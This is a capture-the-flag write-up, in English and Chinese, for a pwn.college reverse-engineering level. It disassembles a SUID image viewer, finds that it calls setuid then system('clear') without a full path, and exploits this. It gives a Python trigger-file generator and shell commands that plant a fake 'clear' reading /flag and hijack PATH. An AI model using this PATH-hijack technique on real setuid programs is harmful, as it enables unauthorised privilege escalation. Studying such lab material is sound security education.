PwnCollege - RE - Unsafe Animations

The extensibility of our cIMG directives list continues to amaze!

HINT: Keep the “Pondering PATH” level of Linux Luminarium in mind. It will be useful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
case 6:
handle_6(&cimg);
break;
case 7:
handle_7(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_6; pdf @ sym.handle_7” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
            ; CALL XREF from main @ 0x40147d(x)
┌ 119: sym.handle_6 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(2:sp[0x10..0x11])
│ 0x00401fbb f30f1efa endbr64
│ 0x00401fbf 55 push rbp
│ 0x00401fc0 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401fc4 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x00401fc9 4889fd mov rbp, rdi ; arg1
│ 0x00401fcc 488d0d8712.. lea rcx, str.ERROR:_Failed_to_read_clear_ ; 0x40325a ; "ERROR: Failed to read &clear!" ; int64_t arg4
│ 0x00401fd3 31ff xor edi, edi ; int fildes
│ 0x00401fd5 4883ec10 sub rsp, 0x10
│ 0x00401fd9 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401fe2 4889442408 mov qword [canary], rax
│ 0x00401fe7 31c0 xor eax, eax
│ 0x00401fe9 488d742407 lea rsi, [var_7h] ; void *buf
│ 0x00401fee e8d3f5ffff call sym.read_exact
│ 0x00401ff3 e838f2ffff call sym.imp.geteuid ; uid_t geteuid(void)
│ 0x00401ff8 89c7 mov edi, eax ; int uid
│ 0x00401ffa e8e1f2ffff call sym.imp.setuid ; int setuid(int uid)
│ 0x00401fff 488d3d7212.. lea rdi, str.clear ; 0x403278 ; "clear" ; const char *string
; !!!
│ 0x00402006 e8e5f1ffff call sym.imp.system ; int system(const char *string)
; !!!
│ 0x0040200b 31f6 xor esi, esi
│ 0x0040200d 31c0 xor eax, eax
│ 0x0040200f 4889ef mov rdi, rbp ; int64_t arg1
│ 0x00402012 e843ffffff call sym.display
│ 0x00402017 488b442408 mov rax, qword [canary]
│ 0x0040201c 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00402025 7405 je 0x40202c
│ │ 0x00402027 e8b4f1ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_6 @ 0x402025(x)
│ └─> 0x0040202c 4883c410 add rsp, 0x10
│ 0x00402030 5d pop rbp
└ 0x00402031 c3 ret
; CALL XREF from main @ 0x401484(x)
┌ 121: sym.handle_7 (int64_t arg5);
│ `- args(r8) vars(4:sp[0x10..0x24])
│ 0x00401ee1 f30f1efa endbr64
│ 0x00401ee5 4883ec28 sub rsp, 0x28
│ 0x00401ee9 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401eed 31ff xor edi, edi ; int fildes
│ 0x00401eef ba04000000 mov edx, 4 ; size_t nbyte
│ 0x00401ef4 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401efd 4889442418 mov qword [canary], rax
│ 0x00401f02 31c0 xor eax, eax
│ 0x00401f04 488d742404 lea rsi, [var_4h] ; void *buf
│ 0x00401f09 488d0d0c13.. lea rcx, str.ERROR:_Failed_to_read_milliseconds_ ; 0x40321c ; "ERROR: Failed to read &milliseconds!" ; int64_t arg4
│ 0x00401f10 e8b1f6ffff call sym.read_exact
│ 0x00401f15 8b442404 mov eax, dword [var_4h]
│ 0x00401f19 b9e8030000 mov ecx, 0x3e8 ; 1000
│ 0x00401f1e 31d2 xor edx, edx
│ 0x00401f20 31f6 xor esi, esi ; struct timespec *rem
│ 0x00401f22 488d7c2408 lea rdi, [req] ; const struct timespec *req
│ 0x00401f27 f7f1 div ecx
│ 0x00401f29 89c0 mov eax, eax
│ 0x00401f2b 4889442408 mov qword [req], rax
│ 0x00401f30 69c240420f00 imul eax, edx, 0xf4240
│ 0x00401f36 4889442410 mov qword [var_10h], rax
│ 0x00401f3b e8d0f2ffff call sym.imp.nanosleep ; int nanosleep(const struct timespec *req, struct timespec *rem)
│ 0x00401f40 488b442418 mov rax, qword [canary]
│ 0x00401f45 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401f4e 7405 je 0x401f55
│ │ 0x00401f50 e88bf2ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_7 @ 0x401f4e(x)
│ └─> 0x00401f55 4883c428 add rsp, 0x28
└ 0x00401f59 c3 ret

in handle_6

1
2
3
4
0x00401ff3      call sym.imp.geteuid        ; 获取有效用户 ID (通常是拥有 SUID 的 root 或 flag 账户)
0x00401ffa call sym.imp.setuid ; 将实际用户 ID 设为有效用户 ID
0x00401fff lea rdi, str.clear ; 准备字符串 "clear"
0x00402006 call sym.imp.system ; 执行!

handle_6 里为动画清屏功能直接调用了 system("clear") with geteuid() & setuid()

如果需要清屏应该向终端发送 ANSI 转义序列(如 \x1b[2J\x1b[H

& 提示了 “Pondering PATH”,使用路径替换。

& system("clear") 并没有指定 /usr/bin/clear。Linux 就会去环境变量 $PATH 里从左到右依次搜索名为 clear 的可执行文件。

需要一个合法的 Version 4 Header,加上一个触发 handle_6 的指令。

1
2
3
4
5
6
7
8
9
10
11
12
import struct

# Header: "cIMG", version 4, width 1, height 1, 1 directive
payload = struct.pack("<4sHBBI", b"cIMG", 4, 1, 1, 1)

# Directive 6 (handle_6): opcode 6, 占位符参数 0
payload += struct.pack("<HB", 6, 0)

with open("trigger.cimg", "wb") as f:
f.write(payload)

print("[+] Trigger generated: trigger.cimg")

PATH 替换

1
2
3
4
5
6
7
8
9
10
11
12
13
hacker@reverse-engineering~unsafe-animations:~$ mkdir -p /tmp/arch_way
hacker@reverse-engineering~unsafe-animations:~$ echo '#!/bin/sh' > /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ echo 'cat /flag' >> /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ chmod +x /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ export PATH=/tmp/arch_way:$PATH
hacker@reverse-engineering~unsafe-animations:~$ which clear
/tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ /challenge/cimg trigger.cimg
^C
hacker@reverse-engineering~unsafe-animations:~$ python tmp.py
[+] Trigger generated: trigger.cimg
hacker@reverse-engineering~unsafe-animations:~$ /challenge/cimg trigger.cimg
pwn.college{**********************************************}